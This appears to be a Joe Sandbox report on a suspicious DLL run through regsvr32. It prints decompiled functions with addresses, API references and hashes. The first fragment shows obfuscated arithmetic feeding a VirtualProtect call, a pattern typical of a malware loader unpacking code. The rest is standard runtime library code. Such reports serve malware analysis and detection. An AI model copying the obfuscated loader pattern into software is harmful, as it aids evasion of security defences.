						_t44 = _t221 - (_t241 * _t217 +  *0x6eb8a9bc + _t40) *  *0x6eb8a9d0 + (_t221 - (_t241 * _t217 +  *0x6eb8a9bc + _t40) *  *0x6eb8a9d0) * 2 + 0x20000000; // 0x1ffffffe
						asm("sbb eax, eax");
						asm("sbb ebx, ebx");
						_t124 =  *0x6eb8a9bc; // 0x0
						_t193 =  *0x6eb8a9d0; // 0x0
						 *(_t278 + 0x14) = (_t124 * _t241 * _t193 + _t124 * _t241 * _t193 * 2 - 3) * _t193 - _t252 + _t252 * 2 - 0x80000000;
						_t131 =  *( *(_t278 + 0x24) + 0xc);
						 *(_t278 + 0x18) = _t131;
						asm("sbb ebx, ebx");
						_t260 =  *0x6eb8a9d0; // 0x0
						_t200 =  *0x6eb8a9bc; // 0x0
						 *(_t278 + 0x10) =  *(0x6eb8a9d8 + ( ~( ~( *(_t278 + 0x14) & _t131)) + ( ~( ~((_t241 -  *0x6eb8a9bc + 0x00000001) * _t252 + _t221 +  *0x6eb8a9d0 + (_t241 -  *0x6eb8a9bc + 0x00000001) * _t252 + _t221 +  *0x6eb8a9d0 + 0x40000000 &  *( *(_t278 + 0x24) + 0xc))) +  ~( ~((((_t217 + _t217 - _t221 * _t221 + _t221 * _t221 * 0x00000002 + _t217) * _t217 - 0x00000003) * _t241 - _t221 + _t221 * 0x00000002) * _t252 + _t44 &  *( *(_t278 + 0x24) + 0xc))) * 2) * 2) * 4);
						 *(_t278 + 0x14) = _t200 + _t260 + (_t200 + _t260) * 4;
						if(( *(_t278 + 0x18) & ((0x00000001 - _t260) * _t200 - _t221) * _t221 - (_t241 + _t217) * _t241 + 4 - ( *(_t278 + 0x14) + 0x0000000f) * _t252 +  *(_t278 + 0x14) + 0x04000000) != 0) {
							 *(_t278 + 0x10) =  *(_t278 + 0x10) | (_t241 * 0x00000004 - 0x00000004) * _t217 + ((_t221 * _t217 + _t241 * _t252 + 0x00000001) * _t252 + 0x00000080 + _t221 * 0x00000002) * 0x00000004;
						}
						_t145 =  *0x6eb8a9d0; // 0x0
						_t147 =  *0x6eb8a9d0; // 0x0
						_t98 = _t252 - 2; // -2
						_t150 = VirtualProtect( *( *(_t278 + 0x2c)), ( *(_t278 + 0x2c))[2] + (_t252 + _t98) * _t147 + (_t200 - _t217 + _t217 * 2) * 2,  *(_t278 + 0x14), _t278 + 0x24 + (_t241 * _t252 + (_t200 - _t145 * _t217 + 1) * _t221 - _t217 * _t217 + _t147) * 4); // executed
						asm("sbb eax, eax");
						return  ~( ~_t150);
					} else {
						_t159 =  *_t220;
						 *(_t278 + 0x14) = _t159;
						if(_t159 ==  *((intOrPtr*)(_t220 + 4))) {
							_t246 =  *0x6eb8a9c0; // 0x0
							if( *((intOrPtr*)(_t220 + 0x10)) != 0) {
								L8:
								_t162 =  *0x6eb8a9c4; // 0x0
								_t232 =  *0x6eb8a9bc; // 0x0
								 *((intOrPtr*)( *((intOrPtr*)(_t255 + 0x20))))( *(_t278 + 0x18),  *(_t278 + 0x14), ((_t246 * _t252 - _t162 * _t173 - _t217) * _t162 + _t246 + 2) * _t246 + (_t232 * _t217 - _t252) * _t162 + _t232 * _t252 - _t217 + _t162 + _t252 + 0x4000,  *((intOrPtr*)(_t255 + 0x34)));
							} else {
								_t166 =  *(_t255 + 0x3c);
								 *(_t278 + 0x24) = _t166;
								if( *((intOrPtr*)( *_t255 + 0x38)) == _t166) {
									goto L8;
								} else {
									if(_t246 - _t173 + (_t246 - _t173) * 4 +  *(_t278 + 0x10) %  *(_t278 + 0x24) == 0) {
										_t173 =  *0x6eb8a9d0; // 0x0
										goto L8;
									}
								}
							}
						}
						return 1;
					}
				} else {
					return 1;
				}
			}

0x6eb42d83
0x6eb42d87
0x6eb42d8b
0x6eb42d8f
0x6eb42d95
0x6eb42da1
0x6eb42da8
0x6eb42daf
0x6eb42dc8
0x6eb42e76
0x6eb42e90
0x6eb42eaf
0x6eb42ec1
0x6eb42ed5
0x6eb42ef9
0x6eb42f00
0x6eb42f05
0x6eb42f26
0x6eb42f2a
0x6eb42f33
0x6eb42f39
0x6eb42f47
0x6eb42f4d
0x6eb42f53
0x6eb42f5d
0x6eb42f98
0x6eb42fc0
0x6eb42fc0
0x6eb42fc4
0x6eb42fd3
0x6eb42ff1
0x6eb4300b
0x6eb43015
0x6eb4301e
0x6eb42dce
0x6eb42dce
0x6eb42dd0
0x6eb42dd7
0x6eb42de1
0x6eb42de7
0x6eb42e13
0x6eb42e17
0x6eb42e28
0x6eb42e64
0x6eb42de9
0x6eb42de9
0x6eb42def
0x6eb42df6
0x00000000
0x6eb42df8
0x6eb42e0b
0x6eb42e0d
0x00000000
0x6eb42e0d
0x6eb42e0b
0x6eb42df6
0x6eb42de7
0x6eb42e75
0x6eb42e75
0x6eb42d97
0x6eb42da0
0x6eb42da0

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4526713fa71b4003115ead008a80927649b692383f9773ec444efdf69e32fff
Instruction ID: a4bebb0151e7991305db5295c593d506edcdd25d1065042b4deefe9c7b3320a6
Opcode Fuzzy Hash: b4526713fa71b4003115ead008a80927649b692383f9773ec444efdf69e32fff
Instruction Fuzzy Hash: C781823264470A8FC744CFACDAC1A86B7E9FB89700F05957AD545CB395E670EA18CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6EB41490 Relevance: 1.6, APIs: 1, Instructions: 108
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 76%

			E6EB41490(void* __ebx, intOrPtr* __ecx, void* __edi) {
				void* _t23;
				intOrPtr _t24;
				intOrPtr _t25;
				intOrPtr _t26;
				void* _t27;
				void* _t28;
				intOrPtr _t29;
				intOrPtr* _t32;
				void* _t34;
				signed int _t36;
				void* _t38;
				void* _t41;
				intOrPtr _t42;
				intOrPtr* _t44;
				intOrPtr* _t45;
				intOrPtr* _t47;
				intOrPtr _t52;
				intOrPtr _t53;
				void* _t58;
				void* _t61;
				intOrPtr _t64;
				void* _t65;
				intOrPtr* _t66;
				intOrPtr _t68;
				intOrPtr* _t69;
				void* _t71;
				intOrPtr _t72;
				intOrPtr _t73;
				void* _t75;
				void* _t76;

				_t58 = __edi;
				_t44 = __ecx;
				_t41 = __ebx;
				_t52 =  *((intOrPtr*)(_t75 + 4));
				_t23 =  *__ecx - 0x10;
				_t64 =  *((intOrPtr*)(_t23 + 4));
				if(_t64 > _t52) {
					_t52 = _t64;
				}
				_pop(_t65);
				if( *((intOrPtr*)(_t23 + 0xc)) <= 1) {
					_t24 =  *((intOrPtr*)(_t23 + 8));
					if(_t24 >= _t52) {
						return _t24;
					} else {
						if(_t24 <= 0x400) {
							_t25 = _t24 + _t24;
						} else {
							_t25 = _t24 + 0x400;
						}
						if(_t25 < _t52) {
							_t25 = _t52;
						}
						 *((intOrPtr*)(_t75 + 4)) = _t25;
						_t53 =  *((intOrPtr*)(_t75 + 4));
						_push(_t65);
						_t66 = _t44;
						_t26 =  *_t66;
						_t45 =  *((intOrPtr*)(_t26 - 0x10));
						_t27 = _t26 - 0x10;
						if( *((intOrPtr*)(_t27 + 8)) >= _t53 || _t53 <= 0) {
							L22:
							_t28 = E6EB414E0(_t45, _t53);
						} else {
							_t28 =  *((intOrPtr*)( *((intOrPtr*)( *_t45 + 8))))(_t27, _t53, 1, _t58);
							if(_t28 == 0) {
								goto L22;
							}
						}
						_t29 = _t28 + 0x10;
						 *_t66 = _t29;
						return _t29;
					}
				} else {
					 *((intOrPtr*)(_t75 + 4)) = _t52;
					_t68 =  *_t44;
					_t42 =  *((intOrPtr*)(_t68 - 0xc));
					_t69 = _t68 - 0x10;
					 *((intOrPtr*)(_t75 + 0xc)) = _t44;
					_t32 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *_t69)) + 0x10))))(_t58, _t65, _t71, _t41, _t44);
					_t55 =  *_t32;
					_t72 =  *((intOrPtr*)(_t75 + 0x18));
					_t47 = _t32;
					_t34 =  *((intOrPtr*)( *((intOrPtr*)( *_t32))))(_t72, 1); // executed
					_t61 = _t34;
					if(_t61 == 0) {
						E6EB414E0(_t47, _t55);
					}
					if(_t42 < _t72) {
						_t72 = _t42;
					}
					_t11 = _t72 + 1; // 0x2
					_t12 = _t69 + 0x10; // 0x0
					_t13 = _t61 + 0x10; // 0x10
					_t73 = _t13;
					_t36 = L6EB64067(_t42, _t12, _t73, _t11, _t12, _t11);
					_t76 = _t75 + 0x10;
					 *((intOrPtr*)(_t61 + 4)) = _t42;
					asm("lock xadd [edx], eax");
					_t38 = (_t36 | 0xffffffff) - 1;
					if(_t38 <= 0) {
						_t38 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *_t69)) + 4))))(_t69);
					}
					 *((intOrPtr*)( *((intOrPtr*)(_t76 + 0x10)))) = _t73;
					return _t38;
				}
			}

0x6eb41490
0x6eb41490
0x6eb41490
0x6eb41492
0x6eb41496
0x6eb4149a
0x6eb4149f
0x6eb414a1
0x6eb414a1
0x6eb414a7
0x6eb414a8
0x6eb414b3
0x6eb414b8
0x6eb414d9
0x6eb414ba
0x6eb414bf
0x6eb414c8
0x6eb414c1
0x6eb414c1
0x6eb414c1
0x6eb414cc
0x6eb414ce
0x6eb414ce
0x6eb414d0
0x6eb41570
0x6eb41574
0x6eb41575
0x6eb41577
0x6eb41579
0x6eb4157c
0x6eb41582
0x6eb41599
0x6eb41599
0x6eb41588
0x6eb41592
0x6eb41597
0x00000000
0x00000000
0x6eb41597
0x6eb4159e
0x6eb415a1
0x6eb415a4
0x6eb415a4
0x6eb414aa
0x6eb414aa
0x6eb414f4
0x6eb414f6
0x6eb414f9
0x6eb414fc
0x6eb41508
0x6eb4150a
0x6eb4150c
0x6eb41512
0x6eb41517
0x6eb41519
0x6eb4151d
0x6eb4151f
0x6eb4151f
0x6eb41526
0x6eb41528
0x6eb41528
0x6eb4152a
0x6eb4152e
0x6eb41533
0x6eb41533
0x6eb41537
0x6eb4153c
0x6eb4153f
0x6eb41548
0x6eb4154c
0x6eb4154f
0x6eb41559
0x6eb41559
0x6eb41561
0x6eb41566
0x6eb41566

APIs

_memcpy_s.LIBCMT ref: 6EB41537

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: _memcpy_s
String ID:
API String ID: 2001391462-0
Opcode ID: 7f54eb77de2988f94261bbe915b1d204681bb7a52db648cecb4f92f371e38394
Instruction ID: 4fa289e4efd792b8c68ef6a9f8f7da158adffaeaf7b6323fe99bc89b85297065
Opcode Fuzzy Hash: 7f54eb77de2988f94261bbe915b1d204681bb7a52db648cecb4f92f371e38394
Instruction Fuzzy Hash: AD31A1B2A14605DFD300CFACC88099AB7F9EF99314F28896DE159C7224E731E8169F91

Uniqueness

Uniqueness Score: -1.00%

Function 6EB414E0 Relevance: 1.6, APIs: 1, Instructions: 64
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 54%

			E6EB414E0(intOrPtr* __ecx, void* __edx) {
				void* __ebx;
				intOrPtr* _t14;
				void* _t16;
				signed int _t18;
				void* _t20;
				void* _t23;
				intOrPtr _t24;
				intOrPtr* _t26;
				intOrPtr* _t28;
				void* _t38;
				void* _t39;
				void* _t41;
				intOrPtr _t42;
				intOrPtr* _t43;
				void* _t45;
				intOrPtr _t46;
				intOrPtr _t47;
				void* _t49;
				void* _t50;

				_t26 = __ecx;
				L6EB41000(__ecx, __edx, 0x8007000e);
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				_t42 =  *_t26;
				_t24 =  *((intOrPtr*)(_t42 - 0xc));
				_t43 = _t42 - 0x10;
				 *((intOrPtr*)(_t49 + 0xc)) = _t26;
				_t14 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *_t43)) + 0x10))))(_t38, _t41, _t45, _t23, _t26);
				_t35 =  *_t14;
				_t46 =  *((intOrPtr*)(_t49 + 0x18));
				_t28 = _t14;
				_t16 =  *((intOrPtr*)( *((intOrPtr*)( *_t14))))(_t46, 1); // executed
				_t39 = _t16;
				if(_t39 == 0) {
					E6EB414E0(_t28, _t35);
				}
				if(_t24 < _t46) {
					_t46 = _t24;
				}
				_t5 = _t46 + 1; // 0x2
				_t6 = _t43 + 0x10; // 0x0
				_t7 = _t39 + 0x10; // 0x10
				_t47 = _t7;
				_t18 = L6EB64067(_t24, _t6, _t47, _t5, _t6, _t5);
				_t50 = _t49 + 0x10;
				 *((intOrPtr*)(_t39 + 4)) = _t24;
				asm("lock xadd [edx], eax");
				_t20 = (_t18 | 0xffffffff) - 1;
				if(_t20 <= 0) {
					_t20 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *_t43)) + 4))))(_t43);
				}
				 *((intOrPtr*)( *((intOrPtr*)(_t50 + 0x10)))) = _t47;
				return _t20;
			}

0x6eb414e0
0x6eb414e5
0x6eb414ea
0x6eb414eb
0x6eb414ec
0x6eb414ed
0x6eb414ee
0x6eb414ef
0x6eb414f4
0x6eb414f6
0x6eb414f9
0x6eb414fc
0x6eb41508
0x6eb4150a
0x6eb4150c
0x6eb41512
0x6eb41517
0x6eb41519
0x6eb4151d
0x6eb4151f
0x6eb4151f
0x6eb41526
0x6eb41528
0x6eb41528
0x6eb4152a
0x6eb4152e
0x6eb41533
0x6eb41533
0x6eb41537
0x6eb4153c
0x6eb4153f
0x6eb41548
0x6eb4154c
0x6eb4154f
0x6eb41559
0x6eb41559
0x6eb41561
0x6eb41566

APIs

_memcpy_s.LIBCMT ref: 6EB41537

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: _memcpy_s
String ID:
API String ID: 2001391462-0
Opcode ID: bfc535a2aa8d90c718764cf4b0c4fab8c45673366e3a0d4cfdf71093f7a00ae8
Instruction ID: a810301c9f0415a192c90fff8f455e9e752ec2e5f0fb44f80fdd84ec3a0f7736
Opcode Fuzzy Hash: bfc535a2aa8d90c718764cf4b0c4fab8c45673366e3a0d4cfdf71093f7a00ae8
Instruction Fuzzy Hash: 6C11C672600A05DFC301DFA8C880D9AB7B9FF89314B148A5DE62A87354EB31E915CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6EB55A32 Relevance: 1.5, APIs: 1, Instructions: 43
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 96%

			E6EB55A32(void* __ebx, intOrPtr* __ecx, void* __edi, void* __esi, void* __eflags) {
				void* _t17;
				intOrPtr _t19;
				intOrPtr _t21;
				long* _t24;
				intOrPtr _t25;
				intOrPtr* _t30;
				void* _t31;
				intOrPtr _t33;

				_t27 = __edi;
				_t23 = __ecx;
				_t22 = __ebx;
				_push(4);
				E6EB664FB(0x6eb77ba4, __ebx, __edi, __esi);
				_t30 = __ecx;
				_t33 =  *((intOrPtr*)(_t31 + 8));
				_t34 = _t33 == 0;
				if(_t33 == 0) {
					L1:
					E6EB48BA4(_t22, _t23, _t27, _t30, _t34);
				}
				if( *_t30 == 0) {
					_t23 =  *0x6eb8c944; // 0x6eb8c948
					if(_t23 != 0) {
						L5:
						_t19 = E6EB55723(_t23); // executed
						 *_t30 = _t19;
						if(_t19 == 0) {
							goto L1;
						}
					} else {
						 *((intOrPtr*)(_t31 - 0x10)) = 0x6eb8c948;
						 *(_t31 - 4) =  *(_t31 - 4) & 0x00000000;
						_t21 = E6EB5583B(0x6eb8c948);
						 *(_t31 - 4) =  *(_t31 - 4) | 0xffffffff;
						_t23 = _t21;
						 *0x6eb8c944 = _t21;
						if(_t21 == 0) {
							goto L1;
						} else {
							goto L5;
						}
					}
				}
				_t24 =  *0x6eb8c944; // 0x6eb8c948
				_t28 = E6EB55595(_t24,  *_t30);
				_t39 = _t28;
				if(_t28 == 0) {
					_t17 =  *((intOrPtr*)(_t31 + 8))();
					_t25 =  *0x6eb8c944; // 0x6eb8c948
					E6EB558E2(_t22, _t25, _t17, _t30, _t39,  *_t30, _t17);
				}
				return E6EB665D3(_t28);
			}

0x6eb55a32
0x6eb55a32
0x6eb55a32
0x6eb55a32
0x6eb55a39
0x6eb55a3e
0x6eb55a42
0x6eb55a48
0x6eb55a4a
0x6eb55a4c
0x6eb55a4c
0x6eb55a4c
0x6eb55a54
0x6eb55a56
0x6eb55a5e
0x6eb55a81
0x6eb55a81
0x6eb55a86
0x6eb55a8a
0x00000000
0x00000000
0x6eb55a60
0x6eb55a65
0x6eb55a68
0x6eb55a6c
0x6eb55a71
0x6eb55a75
0x6eb55a77
0x6eb55a7f
0x00000000
0x00000000
0x00000000
0x00000000
0x6eb55a7f
0x6eb55a5e
0x6eb55a8e
0x6eb55a99
0x6eb55a9b
0x6eb55a9d
0x6eb55a9f
0x6eb55aa2
0x6eb55aad
0x6eb55aad
0x6eb55ab9

APIs

__EH_prolog3.LIBCMT ref: 6EB55A39

Part of subcall function 6EB48BA4: __CxxThrowException@8.LIBCMT ref: 6EB48BBA
Part of subcall function 6EB48BA4: __EH_prolog3.LIBCMT ref: 6EB48BC7

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: H_prolog3$Exception@8Throw
String ID:
API String ID: 2489616738-0
Opcode ID: 4f593de68d96432fa09311f7768228b4d2aff7128e266033d6f304c8063ce310
Instruction ID: 1f1fc8b5c91a4f8c9d5f900da0be8786149d76e3a656575f9b24e3e9170295e7
Opcode Fuzzy Hash: 4f593de68d96432fa09311f7768228b4d2aff7128e266033d6f304c8063ce310
Instruction Fuzzy Hash: D6018470612682CBDB56AFE8C85076E3EB6EF81366F11052CD4858F380EF30C850CB89

Uniqueness

Uniqueness Score: -1.00%

Function 6EB48392 Relevance: 1.5, APIs: 1, Instructions: 27
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E6EB48392(intOrPtr __ecx, intOrPtr _a4, signed int _a8) {
				void* __edi;
				intOrPtr* _t11;
				void* _t13;
				void* _t16;
				intOrPtr _t17;
				intOrPtr _t18;

				_t18 = _a4;
				_t17 = __ecx;
				if(_t18 >= 0) {
					_t11 = E6EB643C3(_t13, _t16, __ecx, (_t18 + 1) * _a8 + 0x10); // executed
					if(_t11 == 0) {
						goto L1;
					}
					 *(_t11 + 4) =  *(_t11 + 4) & 0x00000000;
					 *_t11 = _t17;
					 *((intOrPtr*)(_t11 + 0xc)) = 1;
					 *((intOrPtr*)(_t11 + 8)) = _t18;
					return _t11;
				}
				L1:
				return 0;
			}

0x6eb48398
0x6eb4839c
0x6eb483a0
0x6eb483b1
0x6eb483b9
0x00000000
0x00000000
0x6eb483bb
0x6eb483bf
0x6eb483c1
0x6eb483c8
0x00000000
0x6eb483c8
0x6eb483a2
0x00000000

APIs

_malloc.LIBCMT ref: 6EB483B1

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: _malloc
String ID:
API String ID: 1579825452-0
Opcode ID: d3f6327eaa1429c11228bf88ee1b00423b7e019c91995f0c78cc0e14a1aa74be
Instruction ID: 86f265b778fd366ac2c8d9b62a0db34bfefecfa30af3c86801a8951c633aff00
Opcode Fuzzy Hash: d3f6327eaa1429c11228bf88ee1b00423b7e019c91995f0c78cc0e14a1aa74be
Instruction Fuzzy Hash: 48E06D335146169BD3008F8AD914A8ABBECEFA1371B068466F404CB162C775E4048BE0

Uniqueness

Uniqueness Score: -1.00%

Function 6EB6AC94 Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E6EB6AC94(intOrPtr _a4) {
				void* _t6;

				_t6 = HeapCreate(0 | _a4 == 0x00000000, 0x1000, 0); // executed
				 *0x6eb8cd8c = _t6;
				if(_t6 != 0) {
					 *0x6eb8e75c = 1;
					return 1;
				} else {
					return _t6;
				}
			}

0x6eb6aca9
0x6eb6acaf
0x6eb6acb6
0x6eb6acbd
0x6eb6acc3
0x6eb6acb9
0x6eb6acb9
0x6eb6acb9

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000,?,6EB645C4,00000001,?,?,?,6EB6473D,?,?,?,6EB85378,0000000C,6EB647F8), ref: 6EB6ACA9

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: a71ee60d7c28f383ca5cce5a89322e4c42e1b44a44d41fc1f5051f0c0c86e826
Instruction ID: 725f32d49a17a39da837b59801d3623e465b05d137c8f0185c1456475fc4582f
Opcode Fuzzy Hash: a71ee60d7c28f383ca5cce5a89322e4c42e1b44a44d41fc1f5051f0c0c86e826
Instruction Fuzzy Hash: 15D05E76564745ABDF005EB55C08B273BECD386395F008436F94CC7280F570C5409F00

Uniqueness

Uniqueness Score: -1.00%

Function 6EB45CA0 Relevance: 1.5, APIs: 1, Instructions: 8
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 58%

			E6EB45CA0() {
				intOrPtr* _t1;

				if( *0x6eb8d558 == 0) {
					ExitProcess(0);
				}
				_t1 = E6EB44E80(); // executed
				 *_t1(); // executed
				return 0;
			}

0x6eb45ca7
0x6eb45cab
0x6eb45cab
0x6eb45cb1
0x6eb45cb6
0x6eb45cba

APIs

ExitProcess.KERNEL32 ref: 6EB45CAB

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 0a093b39c61104ad364d5ceea78315cd51ad1addb676a9d8b5dc755d7d7bc8ed
Instruction ID: ba8de90652c9dd999c0fc120606ec487f28ec9922d1ae53017c1f4e20a0c9b38
Opcode Fuzzy Hash: 0a093b39c61104ad364d5ceea78315cd51ad1addb676a9d8b5dc755d7d7bc8ed
Instruction Fuzzy Hash: 23B09230266980CBEE80ABF0A84878D3AB99B5231AF02042AE0148209CDF708082AA21

Uniqueness

Uniqueness Score: -1.00%

Function 6EB67153 Relevance: 1.5, APIs: 1, Instructions: 6
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 25%

			E6EB67153() {
				void* _t1;
				void* _t2;
				void* _t3;
				void* _t4;
				void* _t7;

				_push(1);
				_push(0);
				_push(0); // executed
				_t1 = E6EB67011(_t2, _t3, _t4, _t7); // executed
				return _t1;
			}

0x6eb67153
0x6eb67155
0x6eb67157
0x6eb67159
0x6eb67161

APIs

_doexit.LIBCMT ref: 6EB67159

Part of subcall function 6EB67011: __lock.LIBCMT ref: 6EB6701F
Part of subcall function 6EB67011: __decode_pointer.LIBCMT ref: 6EB67056
Part of subcall function 6EB67011: __decode_pointer.LIBCMT ref: 6EB6706B
Part of subcall function 6EB67011: __decode_pointer.LIBCMT ref: 6EB67095
Part of subcall function 6EB67011: __decode_pointer.LIBCMT ref: 6EB670AB
Part of subcall function 6EB67011: __decode_pointer.LIBCMT ref: 6EB670B8
Part of subcall function 6EB67011: __initterm.LIBCMT ref: 6EB670E7
Part of subcall function 6EB67011: __initterm.LIBCMT ref: 6EB670F7

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: __decode_pointer$__initterm$__lock_doexit
String ID:
API String ID: 1597249276-0
Opcode ID: 71f5aa3ab10afe7edc69d9e50ae3ebcb4a9bdbb1c92fe6d79654d1a4b596b58f
Instruction ID: f758e6624e458e1443e318e0d15153ab642016e2830fdd0df35c530b0bc7edf5
Opcode Fuzzy Hash: 71f5aa3ab10afe7edc69d9e50ae3ebcb4a9bdbb1c92fe6d79654d1a4b596b58f
Instruction Fuzzy Hash: 8AA00265BF435122FDA452D02C43F9826051760F05FD40850BB082C1C0B5C612985067

Uniqueness

Uniqueness Score: -1.00%

Function 6EB6A5CA Relevance: 1.5, APIs: 1, Instructions: 4
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E6EB6A5CA() {
				void* _t1;

				_t1 = E6EB6A558(0); // executed
				return _t1;
			}

0x6eb6a5cc
0x6eb6a5d2

APIs

__encode_pointer.LIBCMT ref: 6EB6A5CC

